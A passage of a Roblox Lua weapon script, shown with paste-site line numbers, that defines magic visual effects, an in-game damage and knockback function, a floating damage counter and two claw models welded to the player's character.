2122
prt.Anchored=true
2123
prt.CFrame=cframe
2124
local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2125
game:GetService("Debris"):AddItem(prt,2)
2126
coroutine.resume(coroutine.create(function(Part,Mesh) 
2127
for i=0,1,delay do
2128
wait()
2129
Part.CFrame=Part.CFrame
2130
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2131
local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2132
prt2.Anchored=true
2133
prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2134
local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
2135
game:GetService("Debris"):AddItem(prt2,2)
2136
coroutine.resume(coroutine.create(function(Part,Mesh) 
2137
for i=0,1,0.1 do
2138
wait()
2139
Part.CFrame=Part.CFrame*cf(0,0.5,0)
2140
end
2141
Part.Parent=nil
2142
end),prt2,msh2)
2143
end
2144
for i=0,1,delay*2 do
2145
wait()
2146
Part.CFrame=Part.CFrame
2147
Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
2148
end
2149
Part.Parent=nil
2150
end),prt,msh)
2151
end
2152
2153
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2154
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2155
prt.Anchored=true
2156
prt.CFrame=cframe
2157
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2158
game:GetService("Debris"):AddItem(prt,2)
2159
coroutine.resume(coroutine.create(function(Part,Mesh) 
2160
for i=0,1,delay do
2161
wait()
2162
Part.CFrame=Part.CFrame
2163
Part.Transparency=i
2164
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2165
end
2166
Part.Parent=nil
2167
end),prt,msh)
2168
end
2169
 
2170
function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
2171
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2172
prt.Anchored=true
2173
prt.CFrame=cframe*euler(x2,y2,z2)
2174
--"http://www.roblox.com/asset/?id=168892465"
2175
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
2176
game:GetService("Debris"):AddItem(prt,2)
2177
coroutine.resume(coroutine.create(function(Part,Mesh) 
2178
for i=0,1,0.03 do
2179
wait()
2180
Part.CFrame=Part.CFrame
2181
Part.Transparency=i
2182
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2183
end
2184
Part.Parent=nil
2185
end),prt,msh)
2186
end
2187
 
2188
function BreakEffect(brickcolor,cframe,x1,y1,z1)
2189
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2190
prt.Anchored=true
2191
prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2192
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2193
game:GetService("Debris"):AddItem(prt,2)
2194
coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) 
2195
CF=Part.CFrame
2196
Numbb=0
2197
randnumb=math.random()/10
2198
rand1=math.random()/10
2199
for i=0,1,rand1 do
2200
wait()
2201
CF=CF*cf(0,math.random()/2,0)
2202
--Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
2203
Part.CFrame=CF*euler(Numbb,0,0)
2204
Part.Transparency=i
2205
Numbb=Numbb+randnumb
2206
end
2207
Part.Parent=nil
2208
end),prt,CF,Numbb,randnumb)
2209
end
2210
 
2211
function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2212
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2213
prt.Anchored=true
2214
prt.CFrame=cframe
2215
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
2216
game:GetService("Debris"):AddItem(prt,5)
2217
coroutine.resume(coroutine.create(function(Part,Mesh) 
2218
for i=0,1,delay do
2219
wait()
2220
Part.CFrame=Part.CFrame*euler(0,0.7,0)
2221
Part.Transparency=i
2222
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2223
end
2224
Part.Parent=nil
2225
end),prt,msh)
2226
end
2227
 
2228
function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2229
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2230
prt.Anchored=true
2231
prt.CFrame=cframe
2232
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
2233
game:GetService("Debris"):AddItem(prt,2)
2234
coroutine.resume(coroutine.create(function(Part,Mesh) 
2235
for i=0,1,delay do
2236
wait()
2237
Part.CFrame=Part.CFrame*cf(0,y3/2,0)
2238
Part.Transparency=i
2239
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2240
end
2241
Part.Parent=nil
2242
end),prt,msh)
2243
end
2244
 
2245
function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
2246
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2247
prt.Anchored=true
2248
prt.CFrame=cframe*cf(x,y,z)
2249
msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
2250
game:GetService("Debris"):AddItem(prt,5)
2251
coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) 
2252
local num=math.random()
2253
local num2=math.random(-3,2)+math.random()
2254
local numm=0
2255
for i=0,1,delay*2 do
2256
swait()
2257
Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
2258
Part.Transparency=i
2259
numm=numm+0.01
2260
end
2261
Part.Parent=nil
2262
Mesh.Parent=nil
2263
end),prt,msh,x,y,z)
2264
end
2265
2266
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
2267
        if hit.Parent==nil then
2268
                return
2269
        end
2270
        h=hit.Parent:FindFirstChild("Humanoid")
2271
        for _,v in pairs(hit.Parent:children()) do
2272
        if v:IsA("Humanoid") then
2273
        h=v
2274
        end
2275
        end
2276
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
2277
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
2278
        end
2279
        if hit.Parent.className=="Hat" then
2280
        hit=hit.Parent.Parent:findFirstChild("Head")
2281
        end
2282
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
2283
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
2284
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
2285
                        return
2286
                end]]
2287
--                        hs(hit,1.2) 
2288
                        c=Instance.new("ObjectValue")
2289
                        c.Name="creator"
2290
                        c.Value=game:service("Players").LocalPlayer
2291
                        c.Parent=h
2292
                        game:GetService("Debris"):AddItem(c,.5)
2293
                Damage=math.random(minim,maxim)
2294
--                h:TakeDamage(Damage)
2295
                blocked=false
2296
                block=hit.Parent:findFirstChild("Block")
2297
                if block~=nil then
2298
                print(block.className)
2299
                if block.className=="NumberValue" then
2300
                if block.Value>0 then
2301
                blocked=true
2302
                if decreaseblock==nil then
2303
                block.Value=block.Value-1
2304
                end
2305
                end
2306
                end
2307
                if block.className=="IntValue" then
2308
                if block.Value>0 then
2309
                blocked=true
2310
                if decreaseblock~=nil then
2311
                block.Value=block.Value-1
2312
                end
2313
                end
2314
                end
2315
                end
2316
                if blocked==false then
2317
--                h:TakeDamage(Damage)
2318
                h.Health=h.Health-Damage
2319
                showDamage(hit.Parent,Damage,.5,TorsoColor)
2320
                else
2321
                h.Health=h.Health-(Damage/2)
2322
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
2323
                end
2324
                if Type=="Knockdown" then
2325
                hum=hit.Parent.Humanoid
2326
hum.PlatformStand=true
2327
coroutine.resume(coroutine.create(function(HHumanoid)
2328
swait(1)
2329
HHumanoid.PlatformStand=false
2330
end),hum)
2331
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
2332
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
2333
local bodvol=Instance.new("BodyVelocity")
2334
bodvol.velocity=angle*knockback
2335
bodvol.P=5000
2336
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
2337
bodvol.Parent=hit
2338
rl=Instance.new("BodyAngularVelocity")
2339
rl.P=3000
2340
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2341
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
2342
rl.Parent=hit
2343
game:GetService("Debris"):AddItem(bodvol,.5)
2344
game:GetService("Debris"):AddItem(rl,.5)
2345
                elseif Type=="Normal" then
2346
                vp=Instance.new("BodyVelocity")
2347
                vp.P=500
2348
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
2349
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
2350
                if KnockbackType==1 then
2351
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
2352
                elseif KnockbackType==2 then
2353
                vp.velocity=Property.CFrame.lookVector*knockback
2354
                end
2355
                if knockback>0 then
2356
                        vp.Parent=hit.Parent.Torso
2357
                end
2358
                game:GetService("Debris"):AddItem(vp,.5)
2359
                elseif Type=="Up" then
2360
                local bodyVelocity=Instance.new("BodyVelocity")
2361
                bodyVelocity.velocity=vt(0,10,0)
2362
                bodyVelocity.P=1000
2363
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
2364
                bodyVelocity.Parent=hit
2365
                game:GetService("Debris"):AddItem(bodyVelocity,1)
2366
                rl=Instance.new("BodyAngularVelocity")
2367
                rl.P=3000
2368
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2369
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2370
                rl.Parent=hit
2371
                game:GetService("Debris"):AddItem(rl,.5)
2372
                elseif Type=="Snare" then
2373
                bp=Instance.new("BodyPosition")
2374
                bp.P=2000
2375
                bp.D=100
2376
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2377
                bp.position=hit.Parent.Torso.Position
2378
                bp.Parent=hit.Parent.Torso
2379
                game:GetService("Debris"):AddItem(bp,1)
2380
                elseif Type=="Target" then
2381
                if Targetting==false then
2382
                ZTarget=hit.Parent.Torso
2383
                coroutine.resume(coroutine.create(function(Part) 
2384
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2385
                swait(5)
2386
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2387
                end),ZTarget)
2388
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
2389
                targetgui=Instance.new("BillboardGui")
2390
                targetgui.Parent=ZTarget
2391
                targetgui.Size=UDim2.new(10,100,10,100)
2392
                targ=Instance.new("ImageLabel")
2393
                targ.Parent=targetgui
2394
                targ.BackgroundTransparency=1
2395
                targ.Image="rbxassetid://4834067"
2396
                targ.Size=UDim2.new(1,0,1,0)
2397
                cam.CameraType="Scriptable"
2398
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2399
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2400
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2401
                Targetting=true
2402
                RocketTarget=ZTarget
2403
                for i=1,Property do
2404
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
2405
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
2406
                swait()
2407
                end
2408
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
2409
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2410
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2411
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
2412
                end
2413
                Targetting=false
2414
                RocketTarget=nil
2415
                targetgui.Parent=nil
2416
                cam.CameraType="Custom"
2417
                end
2418
                end
2419
                        debounce=Instance.new("BoolValue")
2420
                        debounce.Name="DebounceHit"
2421
                        debounce.Parent=hit.Parent
2422
                        debounce.Value=true
2423
                        game:GetService("Debris"):AddItem(debounce,Delay)
2424
                        c=Instance.new("ObjectValue")
2425
                        c.Name="creator"
2426
                        c.Value=Player
2427
                        c.Parent=h
2428
                        game:GetService("Debris"):AddItem(c,.5)
2429
                CRIT=false
2430
                hitDeb=true
2431
                AttackPos=6
2432
        end
2433
end
2434
 
2435
showDamage=function(Char,Dealt,du,Color)
2436
        m=Instance.new("Model")
2437
        m.Name=tostring(Dealt)
2438
        h=Instance.new("Humanoid")
2439
        h.Health=0
2440
        h.MaxHealth=0
2441
        h.Parent=m
2442
        c=Instance.new("Part")
2443
        c.Transparency=0
2444
        c.BrickColor=TorsoColor
2445
        c.Name="Head"
2446
        c.TopSurface=0
2447
        c.BottomSurface=0
2448
        c.formFactor="Plate"
2449
        c.Size=Vector3.new(1,.4,1)
2450
        ms=Instance.new("CylinderMesh")
2451
        ms.Scale=Vector3.new(.8,.8,.8)
2452
        so("http://www.roblox.com/asset/?id=199149269",c,1,1) 
2453
        if CRIT==true then
2454
                ms.Scale=Vector3.new(1,1.25,1)
2455
        end
2456
        ms.Parent=c
2457
        c.Reflectance=0
2458
        Instance.new("BodyGyro").Parent=c
2459
        c.Parent=m
2460
        if Char:findFirstChild("Head")~=nil then
2461
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
2462
        elseif Char.Parent:findFirstChild("Head")~=nil then
2463
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
2464
        end
2465
        f=Instance.new("BodyPosition")
2466
        f.P=2000
2467
        f.D=100
2468
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2469
        f.position=c.Position+Vector3.new(0,3,0)
2470
        f.Parent=c
2471
        game:GetService("Debris"):AddItem(m,.5+du)
2472
        c.CanCollide=false
2473
        m.Parent=workspace
2474
        c.CanCollide=false
2475
end
2476
2477
    Player=game:GetService('Players').LocalPlayer
2478
    Character=Player.Character
2479
    Mouse=Player:GetMouse()
2480
    m=Instance.new('Model',Character)
2481
2482
2483
    local function weldBetween(a, b)
2484
        local weldd = Instance.new("ManualWeld")
2485
        weldd.Part0 = a
2486
        weldd.Part1 = b
2487
        weldd.C0 = CFrame.new()
2488
        weldd.C1 = b.CFrame:inverse() * a.CFrame
2489
        weldd.Parent = a
2490
        return weldd
2491
    end
2492
    
2493
    it=Instance.new
2494
    
2495
    function nooutline(part)
2496
        part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
2497
    end
2498
    
2499
    function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
2500
        local fp=it("Part")
2501
        fp.formFactor=formfactor
2502
        fp.Parent=parent
2503
        fp.Reflectance=reflectance
2504
        fp.Transparency=transparency
2505
        fp.CanCollide=false
2506
        fp.Locked=true
2507
        fp.BrickColor=BrickColor.new(tostring(brickcolor))
2508
        fp.Name=name
2509
        fp.Size=size
2510
        fp.Position=Character.Torso.Position
2511
        nooutline(fp)
2512
        fp.Material=material
2513
        fp:BreakJoints()
2514
        return fp
2515
    end
2516
    
2517
    function mesh(Mesh,part,meshtype,meshid,offset,scale)
2518
        local mesh=it(Mesh)
2519
        mesh.Parent=part
2520
        if Mesh=="SpecialMesh" then
2521
            mesh.MeshType=meshtype
2522
            mesh.MeshId=meshid
2523
        end
2524
        mesh.Offset=offset
2525
        mesh.Scale=scale
2526
        return mesh
2527
    end
2528
    
2529
    function weld(parent,part0,part1,c0,c1)
2530
        local weld=it("Weld")
2531
        weld.Parent=parent
2532
        weld.Part0=part0
2533
        weld.Part1=part1
2534
        weld.C0=c0
2535
        weld.C1=c1
2536
        return weld
2537
    end
2538
2539
local modelzorz=Instance.new("Model") 
2540
modelzorz.Parent=Character 
2541
modelzorz.Name="Claw1"
2542
2543
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2544
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2545
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2546
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2547
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2548
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2549
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2550
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2551
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2552
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2553
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2554
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2555
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2556
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2557
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2558
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2559
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2560
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2561
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2562
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2563
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2564
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2565
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2566
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2567
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2568
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2569
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2570
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2571
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2572
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2573
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2574
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2575
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2576
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2577
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2578
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2579
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2580
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2581
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2582
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2583
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2584
2585
local modelzorz2=Instance.new("Model") 
2586
modelzorz2.Parent=Character 
2587
modelzorz2.Name="Claw2"
2588
2589
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2590
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2591
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2592
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2593
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2594
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2595
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2596
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2597
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2598
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2599
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2600
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2601
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2602
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2603
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2604
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2605
